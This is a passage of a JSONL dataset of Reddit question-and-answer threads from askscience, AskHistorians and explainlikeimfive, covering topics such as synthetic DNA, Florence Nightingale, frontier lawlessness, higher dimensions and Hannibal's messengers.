like asking a child with a lego set to build a Tesla.\n\n**tl/dr** Some simple life forms can be generated from synthetic DNA right now, but for multicellular organisms this will be much harder.", "It might not be a decent analogy, but it would be like writing a book based on the index. You have all the information on what's in there, and you can compared to other books from it, but without the rules of writing, or the context for those words, you can't build the book. \n\nAs others say, a genetic sequence is not the full information for an organism, you need much more interesting things on top. The genome is just a remarkably simple looking basis. ", "For say a human, there's the issue of gestation. You'd need to have the mother completely simulated. In order to have the organism truly generated you'd have to generated the mother (otherwise its not true to \"generating it\" with no parent) and you'd still need to make the egg and sperm combine in such a way as to create that set of DNA.", "DNA is, in the sense you're looking at it, not much more than a blueprint that came along well after the development of cells and allowed a subset of them to have a stable enough genome that they could form complex and stable multicellular organisms. It's a latecomer.\n\nThe real functional star of the show, as far as genetic material goes, is RNA, which is less stable but much more versatile than DNA. DNA's function is to act as a stable, readable record; almost every other function carried out via genetic material is done via RNA, and there is a significant amount of information encoded in the relative quantities of RNA sequences, not just their codes.\n\nIn order to replicate the genome, assuming you have also advanced modern science far enough already to create a cell from scratch, you need the DNA sequence and a pool of RNA as finely-tuned as 4 billion years already made it.", "Others have given excellent replies particularly about the problems of building from DNA, but I didn't see any mention of epigenetics. \n\nThe complete genetic sequence of an organism contains active and inactive genes. Only active genes are expressed and used during synthesis. The so-called epigenetics of what is enabled and what is not comes partly from the environment and partly from inheritance and it may also change through development. If all the genes were expressed at the same time, the result may not even be viable as a mammalian pluripotent (non-specialized) embryonic cell has enough information to become any part of the body: heart, brain, eye or whatever. Clearly it cannot be all at once and be viable.", "It's like having a cookbook which tells you specifically how to create a particular million-course ultra-gourmet meal, but not having a kitchen.\n\nAnd yes, this could be possible - but we need to figure out how to build a sufficiently extensive kitchen first. Right now we have the equivalent of half a chopstick and a home-made candle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Epigenome"], [], [], [], ["http://www.jcvi.org/cms/press/press-releases/full-text/article/first-self-replicating-synthetic-bacterial-cell-constructed-by-j-craig-venter-institute-researcher/home/"], ["http://www.jcvi.org/cms/press/press-releases/full-text/article/first-self-replicating-synthetic-bacterial-cell-constructed-by-j-craig-venter-institute-researcher/home/"], ["http://science.sciencemag.org/content/297/5583/1016.long", "http://science.sciencemag.org/content/329/5987/52", "https://en.wikipedia.org/wiki/Gibson_assembly", "https://en.wikipedia.org/wiki/Induced_pluripotent_stem_cell"], [], [], [], [], []]}
{"q_id": "dua5pm", "title": "What was Florence Nightingale's travel path  &  final destination in the Crimean War?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dua5pm/what_was_florence_nightingales_travel_path_final/", "answers": {"a_id": ["f72xl2f"], "score": [2], "text": ["Some articles say she went to Crimea and then to Scutari, others say she went to Scutari and then Crimea, others say she just went to Scutari.\n\n & #x200B;\n\nI've found many conflicting pieces of information such as her Wikipedia entry below:\n\n & #x200B;\n\n\"Florence Nightingale's most famous contribution came during the [Crimean War](_URL_4_), which became her central focus when reports got back to Britain about the horrific conditions for the wounded. On 21 October 1854, she and the staff of 38 women volunteer nurses that she trained, including her aunt Mai Smith,[\\[18\\]](_URL_0_) and 15 Catholic nuns (mobilised by [Henry Edward Manning](_URL_6_))[\\[19\\]](_URL_5_) were sent (under the authorisation of Sidney Herbert) to the [Ottoman Empire](_URL_8_). Nightingale was assisted in Paris by her friend [Mary Clarke](_URL_3_).[\\[20\\]](_URL_2_) They were deployed about 295 [nautical miles](_URL_1_) (546\u00a0km; 339\u00a0mi) across the [Black Sea](_URL_10_) from [Balaklava](_URL_9_) in the [Crimea](_URL_7_), where the main British camp was based.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Florence_Nightingale#cite_note-18", "https://en.wikipedia.org/wiki/Nautical_mile", "https://en.wikipedia.org/wiki/Florence_Nightingale#cite_note-20", "https://en.wikipedia.org/wiki/Mary_Elizabeth_Mohl", "https://en.wikipedia.org/wiki/Crimean_War", "https://en.wikipedia.org/wiki/Florence_Nightingale#cite_note-19", "https://en.wikipedia.org/wiki/Henry_Edward_Manning", "https://en.wikipedia.org/wiki/Crimea", "https://en.wikipedia.org/wiki/Ottoman_Empire", "https://en.wikipedia.org/wiki/Balaklava", "https://en.wikipedia.org/wiki/Black_Sea"]]}
{"q_id": "23aetj", "title": "As an American, I refer to \"lawlessness\" as \"The Wild West\". When/Where was the most lawless point in the last 300 years?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/23aetj/as_an_american_i_refer_to_lawlessness_as_the_wild/", "answers": {"a_id": ["cgv2u9l", "cgv2vid", "cgv30qq", "cgv50a3"], "score": [3, 2, 2, 2], "text": ["Heads up, the mods may well flag this as a violation of the [subreddit rules](_URL_0_) - if so, you should consider asking this again in tomorrow's Friday Free-For-All thread.", "San Francisco between 1847and 1850 was pretty bad.\n\nSam Brannan's San Francisco empire during the gold rush made him the defacto law in the city until California was made a state in 1850 and the federal government got involved.  He was essentially a mafia don, with control of all supplies coming into the city, and control of the bars and brothels that had spring up to service the huge number of people coming west to seek their fortunes.", "As /u/prufrock451 predicted, this has been removed.  While it isn't exactly a throughout-history question (it's specific-ish in time, but not geography), it is a [poll-type question](_URL_0_).  As /u/Prufrock451 suggested, you may want to ask this in the Friday Free-For-All, or suggest it as a Tuesday Trivia topic.", "I think this is going to be quite a subjective ranking, but Wild West towns during mineral rushes are certainly strong contenders. I know mainly about the mineral rushes in Colorado and then the Yukon Gold Rush, but I'm sure that a look into the history of the 49ers in California would reveal similar places that briefly were truly lawless. These were places that sprang up nearly overnight -- the hasty construction of the town of Creede, Colorado, was so poor that the entire town burned one night in 1892 -- that had no customs, family structures, religious or other charitable institutions, etc. already established in them. They attracted desperate people hoping to make a fortune, often in a get-rich-quick way, and then the inevitable businesses that followed: brothels, saloons, and gambling parlors all appeared to part the miners with what little money they might have made. With new people pouring in every day -- the trains coming into Denver's Union Station in the 1880s were packed, day and night -- there were always new arrivals ready to be fleeced. Official institutions like sheriffs couldn't keep up with the influx of new people to hitherto deserted or sparsely-inhabited places, and politicians were often easily corrupted with the promise of getting rich quick. \n\nThe infamous Soapy Smith -- whose wikipedia tagline really sums him up, so apologies for the wiki quote: \n\n >  Jefferson Randolph \"Soapy\" Smith II (November 2, 1860 \u2013 July 8, 1898) was a famous con artist, saloon and gambling house proprietor, gangster and crime boss\n\n-- personifies the kinds of activities that were common in these frontier towns. He worked out of Denver, Colorado, Creede, Colorado, and lastly Skagway, Alaska, during mineral rushes in those towns. He notoriously controlled Denver politics from the late 1870s until he moved to Creede in 1892. He gained his nickname \"Soapy\" for a scam he ran involving the selling of soap on the streets of Denver. Later, he operated out of the Tivoli Club at the corner of 17th and Market (not to be confused with the current location of the Tivoli Brewing Company on the Auraria campus). You can see some cool old photos of it [here](_URL_1_). The Tivoli Club was a gambling den where the house always won, and because Soapy and his associates controlled Denver city elections, it was allowed to operate, despite strong protest from the press, who dubbed it the \"slaughter pen\" because of how much unchecked violence took place there. In fact, one thing that had originally drawn Soapy to Denver in 1879 was its lax restrictions on gambling. \n\nEventually, however, Soapy's operation became too well known, and the politicians he had previously controlled were forced by public/media outcry to pass stronger gambling laws. So, in 1892, Soapy headed south to the town of Creede, Colorado, which was in the midst of a silver boom. The town went from a population of 600 in 1889 to more than 10,000 people in December 1891, and was famous as a place where it was never night -- it's in a narrow canyon, and the lights from the saloons, brothels, and other gambling establishments going all night reflected off the canyon walls. Soapy quickly established himself as the crime boss in the town and used that power to try to run out other outlaws. The sheriff, William Sidney \"Cap\" Light, was Soapy's brother-in-law. \n\nAs I said above, Creede burned down -- going from [this](_URL_2_) to [this](_URL_0_) (sorry, can't embed that last image). There's a great image in the Denver Museum of Nature and Science Rocks and Minerals section if you ever get a chance to go there that shows that main street in Creede jam-packed with people. After the town was destroyed, it was quickly rebuilt, but a silver panic in 1893 combined with Denver loosening its gambling laws yet again put an end to this lawless, frontier-period there as train-loads of eager miners stopped arriving and the criminal element, including Soapy, migrated back to Denver. \n\nSo there are two examples of essentially \"lawless\" places for certain times and places in history. I can tell you more anecdotes about similar towns, like Skagway, Alaska, where Soapy died in a gunfight four days after appearing in a parade with the mayor, or Leadville, Colorado, briefly the most populated place in Colorado during the silver boom and where Doc Holliday was exonerated by a jury after shooting the local deputy dead over $5. But beyond just anecdotes, I think what unifies these stories is the conditions, like I described above, that allowed lawlessness to flourish -- and note that they are not stable situations and that once the mineral rushes had ended, they became lawful towns once again. \n\nIf you'd like to read an amazing piece of historical fiction set partially in Colorado during this time and a little later, I highly recommend Thomas Pynchon's *Against the Day*. \n\nAll that being said, I'm sure other lawless locations include places in the aftermath of wars, or even during them (like in Syria right now) -- any time that normal society is interrupted, often by an influx of large numbers of desperate people and people who are ready and able to take advantage of them (two groups which presumably have a lot of overlap)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions"], [], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22poll.22-type_questions"], ["http://cdm16079.contentdm.oclc.org/cdm/singleitem/collection/p15330coll21/id/10740/rec/13", "http://www.soapysmith.net/id21.html", "http://www.brokenarrowcreede.com/images/stories/aboutcreede2.jpg"]]}
{"q_id": "2h1fwe", "title": "Why is it relatively easy to make pure silicon crystals (i.e. for computer chips) but difficult to make similar carbon crystals (i.e. diamond)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2h1fwe/why_is_it_relatively_easy_to_make_pure_silicon/", "answers": {"a_id": ["ckon4d2", "ckoom5y"], "score": [8, 2], "text": ["The process of growing a crystal for use in that sort of thing is called   \"czochralski growth\". This process involves introducing a seed crystal of Silicon (or your chosen material) into a vat of molten silicon and slowly extruding it. While the molten silicon cools and turns solid, it conforms to the crystallographic structure of the seed crystal.\n\nSilicon's melting temperature is around 1400 C , which is easily attainable. Carbons melting temperature is around 3600 C, which is one of the highest (if not THE highest) elemental melting point.\n\n\ne: Jeez for some reason I read \"quartz\". Editing my answer to reflect silicon, point still stands. Gah", "It's very difficult to purify solids to the tolerances you would require, so you'd want it in liquid form. For carbon to be liquid, you need over a hundred atmospheres of pressure (the triple point of carbon is at 4300 C and 10.8 MPa). We simply cannot build a container out of anything that would withstand that combination of temperature and pressure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rpcmg", "title": "what happens when i suck in my stomach? do my organs just get crushed or what's the deal", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rpcmg/eli5what_happens_when_i_suck_in_my_stomach_do_my/", "answers": {"a_id": ["cdpig4u", "cdpnd1s", "cdppcj2", "cdpv4sg"], "score": [3, 14, 34, 2], "text": ["Your chest will expand, so my guess is everything shifts upwards.", "Your diaphragm contracts, pulling your viscera (stomach, intestines, etc) upwards towards your head, flattening them in the process.", "There's little to no air inside you, other than your lungs. So you can't reduce the volume of your intestines, but you can move them elsewhere. When you suck in your stomach, notice that your ribs move. This sucks your insides up toward your chest cavity. ", "Follow-up question: What advantage do humans (or other animals, if they're able to) gain from being able to suck in their stomach? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5v13q9", "title": "Does elevation change affect birds the same way it affects humans? (Or any other land animal for that matter)", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5v13q9/does_elevation_change_affect_birds_the_same_way/", "answers": {"a_id": ["ddys4hm"], "score": [6], "text": ["Birds and animals native to high altitudes are just better evolutionarily adapted to those environments.  The primary cause of altitude sickness in humans is hypoxia.  High altitude animals overcome this mainly by [changes in hemoglobin \u2013 oxygen affinity](_URL_0_) (usually changes to the quaternary structure of the tetramer's association).  In addition, there are other physiological adaptations that vary between species, such as cross current gas exchange in the parabronchioles of some birds and larger hearts (especially right ventricles) and lungs in many mammals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3140315/#!po=34.6774"]]}
{"q_id": "2iv4bp", "title": "why do dogs have separation anxiety? do they lack object permanence or is there something else?", "selftext": "Title", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2iv4bp/eli5_why_do_dogs_have_separation_anxiety_do_they/", "answers": {"a_id": ["cl5qw4y", "cl5r9z3", "cl5y5v2", "cl60xtw", "cl670et"], "score": [42, 62, 19, 5, 2], "text": ["Dogs are pack animals. When you leave, they're separated from their pack which can be very stressful. Obviously some dogs are better with it than others, and they sometimes bond more closely with some family members than others (so family members could be home, but they're still separated from their \"pack\" when specific people leave).", "Human separation anxiety is not about a lack of \"object permanence\".  Nor is dogs.  Dogs are even more socially dependent than humans - their insticts are to stay together.  This instiict lead to packs which was key to their survival.  Without said instinct they would have wondered off and been solitary and then been eaten by dragons.", "I heard a piece on NPR the other day, an animal expert was explaining how to break a dog of separation anxiety.\n\nBasically what he said to do was begin to act like you're leaving, but only do the very first part, so maybe put on your coat and grab your keys.  Then put them down and go to the dog.  Then put on your coat and grab your keys, but also go to the door and grab the handle.  Then go back to the dog.  Then do it all over again and go outside for 10 seconds then return back in.  Keep going and building off of it.\n\nEventually the dog will associate your leaving routine with you always returning, and (supposedly) the separation anxiety will be gone.", "My dog was separated from his best friend he grew up with at one year. He was given away another 5 times. I'm lucky I get to spend as much time with him as I do. Car rides wreck him.", "Also, they have no sense of time.  So they don't understand that it's not forever."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "vkp4r", "title": "how does off-shore drilling work and why are some states against it?", "selftext": "I live in California and I hear all the time from environmentalists that they don't want america to accept off-shore drilling. \n\nHow does it work? Why does the industry need it? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vkp4r/how_does_offshore_drilling_work_and_why_are_some/", "answers": {"a_id": ["c55c7g4"], "score": [5], "text": ["I just found about this subreddit, its very interesting and have read some very helpful answers. So this is my first post here and I think I can reply to your question. Just like there are underground oil fields over land like places in Saudi Arabia there are many smaller  pockets of oil deposits under the sea bed. Typically with the oils wells on land, you just drill down till you hit the oil field and you either collect the oil coming up from the [pressure inside the oil fields like this](_URL_1_) or just have a mechanical system in place to [pump the oil up like this](_URL_0_). This problem is magnified in off shore oil fields since the oil should be safely collected without any spillage. This is where the environmentalists come in.\n\nYou can think of environmentalists as your mother or your guardian who has asked you not to attempt to pour milk out of the carton on your own. You are still very young but you feel you're capable of doing it by yourself without spilling it on the floor or on the counter. Now, 9 times of out 10 you'll mostly do a fine job, pour the milk, put the carton back and drink it out of the glass without a problem but that 1 time when you don't succeed, you end up dropping the carton since its too heavy, breaking the glass, spilling all the milk everywhere and then just sit there weeping in the mess, which now your mom has to clean.\n\nThis is how it is with environmentalists and oil companies with the example of the BP oil spill in the Gulf of Mexico as the best and the most recent example, except for the fact that the mess which the oil companies make takes decades to clean and the ecological impact lasts for centuries if not permanent.\n\nNow some states motivated by greed from the oil money or corruption disobey their mom and just go ahead with pouring the milk, but some (like you mentioned California) take heed from their siblings actions (like those of Alaska or Alabama) and do what they are told.\n\nI hope this helps.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.global-greenhouse-warming.com/images/OilPumpTexas.jpg", "http://superioroilandgas.com/wp-content/uploads/2011/07/oil_well.jpg"]]}
{"q_id": "b57ie7", "title": "Many authors today write fictional stories set far in the future with technologies far beyond our reach. Has any historical writer from 1000+ years ago written something similar?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b57ie7/many_authors_today_write_fictional_stories_set/", "answers": {"a_id": ["ejc2idt"], "score": [5], "text": ["Heya! I have an earlier answer to a similar question, if you\u2019re interested:\n\n* [Before 1700, how did authors envision the future?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3vovzs/before_around_1700_where_there_any_books_or_plays/cxplabi/"]]}
{"q_id": "rwow3", "title": "dimensions 4 to 11.", "selftext": "I saw a video posted yesterday or the day before that did a good job explaining it (don't have the URL) but it explained it like I'm 25, not 5.  So if it's possible, explain the concept to me like I am five, or better yet, a chimpanzee.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rwow3/eli5_dimensions_4_to_11/", "answers": {"a_id": ["c499b1o", "c49a9vv", "c49aauf", "c49aolt", "c49cvx2", "c49dm58", "c49hlx3"], "score": [15, 2, 3, 5, 2, 12, 2], "text": ["The video is nonsense. Higher dimensions aren't nearly that interesting; they're just additional directions like down-up, left-right, and forward-backward", "The best method I've seen explaining dimensions was called something like \"The Smear Method\" (I think). Basically you start with a point. If you were to take that point a smear it you get a line. The first dimension is a line. If you take that line and smear that perpendicular you get a plane, or the second dimension. If you smear the plane in the same manner you get a cube. Now it gets tricky. You need to smear the cube in a direction that's perpendicular to the cube. This is where I begin to understand the concept of the fourth dimension being time. The cube represents the third dimension, where we live. If you \"smear\" it, you have our dimension moving through time. I guess the fifth dimension would be alternate timelines? If you can keep applying these methods, eventually you would have a rough concept of all the dimensions.", "I assume [this](_URL_0_) is the video?", "Should read the book [Flatland](_URL_0_) by Edwin A. Abott\n\nIts kindof easy to explain lower dimensions than yours and understand how you go from dimension 1 to 2 to 3, but much harder to explain higher ones, like from 3 to 4.\n\nIn 2 dimensions, if you have a closed box with something inside, then a 3 dimensional being can easily see what's in, and move it around by lifting it into 3rd dimension and putting it back. Also, you can see what is inside every \"box\" in that dimension. Simple enough.\n\nIn 3 dimensions, a 4th dimensional being can do the same, see what's inside every room of your house at the same time. In what direction does the 4th dimension go?", "Imagine you are flat and you live on the floor of an elevator, you can move freely around the floor of the elevator. After about 20 years someone tells you that the elevator has been going up and down the whole time... In your world that would be difficult to imagine, you have no idea what direction that is, you cannot point in that direction, but you might be able to do so science to figure out what \"floor\" you are on, you use the words \"up\" and \"down\" to talk about moving from floor to floor. But you have no sense of it as a direction, you only life on the floor of the elevator. You come to think of up and down as directions and it makes your physics easier, but you can never see in those directions. Time is sort of like that, we can talk about the past and the future and think about moving there, but we cannot point in that direction. \n\nNOTE: time is not a physical direction, this is only to give you a sense.      ", "After reading your responses to a couple of the other answers so far, I'm going to guess that you're asking about something a little different than just \"explain dimensions higher than 3\".\n\nI do highly recommend you read *Flatland* as another answer suggests (and a sequel written by another author, *Flatterland*). This will help you figure out how to think about spatial dimensions more than 3. The books ask you to imagine the world as it would appear to a being constrained to live on a flat surface.\n\nPicture a ball. To you, it's a sphere. To a Flatlander, there's no such thing as a sphere, and try as he might, there's no direction perpendicular to the two he knows. You might try to help by pushing the sphere into the Flatlander's plane. If you do this, the Flatlander sees: first a point, then it grows into a circle, hits a certain size, then shrinks again to a point. To the Flatlander, a sphere might seem to literally *be* a point that grows to a circle then shrinks back to a point.\n\nNow if you push a cube through the plane, what does the Flatlander see? A square. It hangs around for awhile, then disappears. That is, unless you push a corner through first...depending on how you orient it, the Flatlander will see a different progression. To the Flatlander, the different orientations will seem unrelated to each other. This is essentially the same confusion we experience when we try to visualize 4D spatial objects.\n\nNow add another complication: *bend* the plane that Flatlander lives in. As far as Flatlander is concerned, nothing has changed from his point of view. But from ours, now the shortest distance between two points goes through some path outside his bendy-plane. Now when you push a sphere or a cube or whatever 3D shape through his plane, it will not appear as before, but Flatlander's perception will be that you are doing something different, not that *his* plane is different.\n\nTwo young fish are swimming along when they encounter an old, wise fish. The old fish greets them and says, \"How's the water, boys!\" and swims on. One of the younger fish looks at the other and says, \"Uh...what's water?\"\n\nOk, so that's one aspect of dimensionality. Here's another way to think about it.\n\nYou can think of a \"dimension\" as simply a *degree of freedom*. The way that degrees of freedom are related to each other is a much more general concept than what you might think of as a \"dimension\". The simplest way to conceptualize a DoF is: imagine you have two points. How many measurements do you have to make to characterize the \"distance\" between those two points? If these two points are constrained to be on a single string, then we can simply say the distance along the length of the string. You can arbitrarily choose a reference point (the origin) and characterize the position of any other point relative to it.\n\nThis means that if a string is your \"space\", then you only have one degree of freedom. Ah, but you say, I want to also characterize the *when* these points were at a given distance (maybe they're moving around all the time and the when matters). Ok, now your \"space\" has two degrees of freedom, and you have to define some \"time\" origin (a reference moment) as well as the length origin. All distances can now be measured from [0 0] if we understand that the first coordinate is distance from some reference point and the second is time elapsed since some reference moment. Two degrees of freedom.\n\nOk, now there's some complication here...how do we know when we talk about degrees of freedom how to interpret different coordinates? One might be wrt some reference point, another to a reference moment...how do we deal with all this?\n\nThis is where the notion of *basis vectors* come into play. A basis vector is simply a way of defining a \"unit\" of \"distance\" (not necessarily spatial distance) from an origin. In our 4D model of space-time, we have 4 basis vectors: x, y, z, and t, and as long as we understand the basis vector represented by each coordinate, we're good. It's also super convenient for us to use the same origin for all three spatial basis vectors...makes calculation easier, but is ultimately arbitrary. We could have chosen y's basis vector to be wrt some other origin.\n\nWhat we find is that once we define a space with certain basis vectors that describe how to location points in that space, we can define other basis vectors that are just different ways of looking at the same space, but the degrees of freedom won't change (if they do, you did something wrong, including an unnecessary basis vector that's redundant, or not having enough to capture every point you might want to locate). This is why you can use x,y for a 2D plot of r,theta. Just two different ways of moving around a 2D space, and which one we choose is arbitrary, so we usually choose the one that is most convenient for whatever calculation we're trying to do.\n\nNow we get to the meat of this wall of text. The reason Flatlander can't understand a 3D shape we push through his plane (especially if his plane is bent) is because things seem to change without rhyme or reason. We claim the cube we're pushing hasn't changed from our perspective, but to him it looks totally different each time we rotate it and push it through a different way, or his plane is bent slightly differently, or both. In fact, even when we look at a cube, when we rotate it, how do we know it's still a cube? It seems obvious, but think about it...how do you recognize a cube when it's rotated and looks totally different from another cube that hasn't been rotated?\n\nWe are able to recognize it because we understand the things that haven't changed. Sure, it's rotated, but it's still a cube. How do we know? Because certain features of it haven't changed. What features? Well, the sides are all the same length. All edges meet at 90 degrees. Etc. More to the point, we can pick any two points on the cube and say that the distance between them won't change: x^2 + y^2 + z^2 = d^2 \u2013\u00a0this is an invariant of the cube no matter how we rotate it.\n\nIf we explain to Flatlander about this invariant, even though he may not believe that there is \"really\" a 3rd spatial dimension, by being aware of it and how it relates to the other dimensions in that equation \u2013\u00a0x^2 + y^2 + z^2 = d^2 \u2013\u00a0he can start to understand how things are going to look when we push through his plane. He could even work out how his plane might be bent if he is really willing to accept the equation describing the invariant we've told him.\n\nNow, here's the most powerful thought experiment I know of to really get this invariant thing. You hold a meterstick up such that its shadow is projected on the wall, 1m long. You rotate that meterstick in the plane parallel to the wall, and the shadow rotates around and stays 1m long. All good.\n\nNow, you rotate the stick out of the plane of the wall, and suddenly, the shadow contracts. Of course, *you* know why the shadow is no longer 1m long\u2013because some of its length is now going along the z dimension\u2013but to a Flatlander living in the wall, it just seems to have contracted in length period. However, if Flatlander accepts that there are 3 dimensions and knows the Pythagorean Theorem, even though he can't see and directly experience the 3rd dimension, he can still calculate how much of the stick is projected along this unseen dimension.\n\nDoes this help?", "A dimension can be thought of as how much information you need to locate something.\n\nIf the universe were a single point, it would have no dimensions. There would be nothing to it except a single point, and therefore no information would needed to locate anything, because it would all be that point.\n\nNow if the universe were a line, we'd have 1 dimension, because when locating something, we'd have to say where on the line it is.\n\nIf the universe were a flat plane, we'd have 2 dimensions because we'd have to say how up/down something is, and how left/right something is to locate it.\n\nIn a 3 dimensional universe, we have to say how up/down something is, how left/right something is, and how far/near something is. This feels close to our experience of normal life, but it's not quite.\n\nWhen you think about it, to locate something in our universe, you also have to say *when* it was in this location. You have to say that Jim was at these co-ordinates, at this altitude, at this time, to accurately describe Jim's location. That is the 4th dimension.\n\nUnforunately, I have no knowledge of M-theory and cannot comment on dimensions 5-11."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.youtube.com/watch?v=JkxieS-6WuA"], ["http://en.wikipedia.org/wiki/Flatland"], [], [], []]}
{"q_id": "c6i6m5", "title": "what effect does declaring a climate emergency have?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6i6m5/eli5_what_effect_does_declaring_a_climate/", "answers": {"a_id": ["es8x2j7", "es93pmg"], "score": [45, 3], "text": ["It may unlock emergency powers to thwart said emergency, such as moving more funds with less procedural hassles towards projects countering it. Like say, New York buildings sea walls and dikes around Manhattan to counter sea level rise.\n\nBecause there is no one definition of what an emergency means, you would have to look at the laws and regulations of each jurisdiction to see what this does. Each country has a different system. In a federal system, each federated entity (States in the US) may have its own quirks.\n\nSome will do literally nothing, others will be used in Court to block actions that further the emergency instead of solving it.\n\nEdit : Corrected accidental slur.", "There are two things that you might be referring to. A \"state of emergency\" and a \"climate emergency.\" \n\nFrom the point of view of a regular person, having the government \"declare a state of emergency\" doesn't actually do anything. The fact that they constantly mention it on the news when talking about something is misleading.\n\nFrom the point of view of the local government, it's a procedural status required to unlock access to certain funds (usually State or Federal money). In other words, there's a bucket full of money. But, in order to get that money, you have to say the magic word first.\n\nA \"climate emergency\" is nothing. It's just buzzwords meant to spook people. There's no money unlocked or powers granted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "tis1a", "title": "Why has this painting been mis-attributed to the French Revolution?", "selftext": "[Eug\u00e8ne Delacroix - La libert\u00e9 guidant le peuple](_URL_0_)\n\nIt depicts the Revolution of 1830 right? why then does everyone use it for the Revolution of 1789? Is it just ignorance, or am I missing something?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/tis1a/why_has_this_painting_been_misattributed_to_the/", "answers": {"a_id": ["c4myqhc", "c4mz3d6", "c4n18nh", "c4n6e6l"], "score": [2, 3, 2, 2], "text": [" >  why then does everyone use it for the Revolution of 1789?\n\nDoes everyone? I've frankly never seen it in that context. But if you have the explanation's in the [wiki](_URL_0_):\n\n >  The Phrygian cap she wears had come to symbolize liberty during the first French Revolution, of 1789-94.", "[This podcast] (_URL_0_) from the BBC's *[In Our Time](_URL_0_)* dedicated to the historical background of Delacroix's painting might be of interest. ", "My god, I can't stand it when people talk about the French Revolution and cite *that* painting.\n\nMy best guess? The French Revolution is the only revolution in French history that's actually made it into popular culture, so every time we see \"revolution\" and \"France\" we go 'FRENCH REVOLUTION MARIE ANTOINETTE WAS ALL LET THEM EAT CAKE.'  I mean, how many people know there was a revolution in 1830, much less what caused it?", "The Revolution of 1789 was one of the most significant events in modern history, arguably *the* turning point. The Revolution of 1830 isn't."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/File:Eug%C3%A8ne_Delacroix_-_La_libert%C3%A9_guidant_le_peuple.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Liberty_Leading_the_People#Symbolism"], ["http://www.bbc.co.uk/programmes/b015zrrj"], [], []]}
{"q_id": "abf7pu", "title": "Why is Amylopectin digested faster than Amylose by enzymes?", "selftext": "I'm a Bio AS student and I can't understand why it's faster. My book says it's because Amylopectin has branches and thus the enzymes reach the glycosidic bonds faster? Would love for someone to clear it up!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/abf7pu/why_is_amylopectin_digested_faster_than_amylose/", "answers": {"a_id": ["ed2pp7g"], "score": [2], "text": ["Hi it is actually not because it is possible to reach the glycosidic bonds faster, but because more glycosidic bonds can be accessed at the same time. This is not important for the alpha amylases, which can cleave at any internal glycosidic bonds, but for the beta amylase, which starts cleaving from one end (one maltose unit at a time). Therefore it can degrade amylopectin faster, because it has more starting points and therefore multiple enzymes can degrade it faser. \n\nThis principle is also abundant in the glycogen metabolism and the reason why it is as fast as it is.\n\nIt might also be possible, that amylopectin is easier to reach because it is more soluble in water but i am not sure about that.\n\nI hope I could help"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ersz1", "title": "How did Carthaginian messengers get to Hannibal while he was rampaging through Roman land?", "selftext": "From what I read Carthage was able to send messengers to Hannibal as he made his \"tour\" of Italy. I have a few questions about the messengers themselves.\n\nDid messengers have to disguise themselves once they were on enemy land? Did they travel alone? Once they got to Hannibal's army, how did they prove to be what they were instead of an enemy in disguise? Were there large sections of undefended Roman land that allowed a Carthaginian to simply travel through?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ersz1/how_did_carthaginian_messengers_get_to_hannibal/", "answers": {"a_id": ["ck2e5ty"], "score": [8], "text": ["Hannibal controlled a large portion of southern Italy, meaning that it was no harder to communicate with Carthage than it would normally be. While he decided to march overland between Spain and Italy, most people of the time sailed, so again his connection to Spain was no worse than it would have been. The issue of course was that Rome was the superior naval power.\n\nIn general, communicating in war was difficult. There could be checkpoints where mail was read (Sidonius, writing 700 years after the Punic Wars complains of them) and Hannibal was under constant watch once Fabius Maximus took control of the campaign. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
